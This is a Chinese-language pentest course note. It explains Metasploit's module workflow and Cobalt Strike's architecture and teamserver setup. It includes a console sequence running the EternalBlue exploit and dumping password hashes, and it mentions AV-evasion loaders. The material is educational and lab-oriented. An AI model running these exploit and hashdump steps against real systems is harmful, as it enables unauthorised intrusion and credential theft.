MSF 基础和 Cobalt Strike 各写过一篇用法笔记,这篇记录课堂补充的框架级理解和部署细节——把两个工具当”体系”而不是”点命令”来认识。
0x01 Metasploit:瑞士军鱼的模块思维
MSF 的一切围绕四类模块展开,课堂用 SMB 全流程过了一遍:
msf6 > search smb # 1. 找模块
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > set RHOSTS <目标> ; run # 2. auxiliary = 信息收集/扫描
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS <目标> ; exploit # 3. exploit = 利用
meterpreter > getuid ; hashdump # 4. 后渗透:提权/抓哈希/文件操作
心智模型:auxiliary 摸清目标(版本/补丁/共享),exploit 精准打击(对号入座),meterpreter 落地收尾。永恒之蓝(ms17-010)是这条流水线的经典教材——Win7 装机即靶,作业就是本地复现它。
面试常考的区分顺带记牢:发现主机不扫端口是错误姿势(主机发现 ping 扫 -sn 只是第一步,端口/服务/版本扫描缺一不可)。
0x02 Cobalt Strike:指挥官与干活部门
CS 的架构比喻是课堂最形象的部分:
Client(客户端)= 指挥官:下达指令的可视化界面
Team Server(服务端)= 干活部门:真正执行监听、投递
Beacon(间谍)= 植入目标的代理:不常驻在线,定时回连(sleep 抖动)
Beacon 的定时回连设计值得单独理解:它不是长连接,而是周期性向 Team Server 发反向连接——在线时像远程桌面一样完全可控,离线时静默潜伏。这就是”上线”的含义,也是流量检测(心跳特征)与规避的博弈基础。
部署三步(Ubuntu 服务端 + Windows 客户端)
# 1. Java 环境
java -version || apt install openjdk-11-jdk
# 2. 服务端(拿到授权工具后)
chmod +x teamserver
./teamserver <本机IP> <连接密码> # 默认端口 50050,启动后核对监听
# 3. 客户端(Windows)
# 连接三要素:服务器 IP + 端口 + 密码,缺一不可
细节:文件先传到 /opt 再解压;ls -l 确认执行权限(绿色即可执行);服务端必须指定客户端可达的 IP(内网实测就用内网 IP,别写 127.0.0.1)。
0x03 工具的帽子:被标记的现实
课堂一句提醒信息量很大:MSF 和 CS 是知名工具,流量特征早被安全厂商收录——测试机上跑 MSF payload 大概率被 AV 秒杀。所以:
- 教学/靶场随便用,理解原理最重要;
- 实战(授权项目里)需要免杀处理或自研 loader(见内网实战篇里”换轻量免杀 loader”的案例);
- CS 的可视化界面在团队作战(多人协同、会话管理)上比 MSF 舒服,这也是它长期流行的原因。
0x04 扫描器同场加映
同节课还演示了系统漏扫工具(鲨鱼图标那款):新建任务 → 填目标 IP → 选策略 → 跑报告,逻辑与 AWVS 一致。要点两条:第一次启动慢是正常的;报错先查扫描策略配置再怀疑程序本身。配套作业推荐了长亭 Xray 做被动扫描入门。
相关旧文
- Metasploit 渗透框架
- Cobalt Strike 后渗透
- Windows/Linux 提权笔记(拿到会话之后的下一步)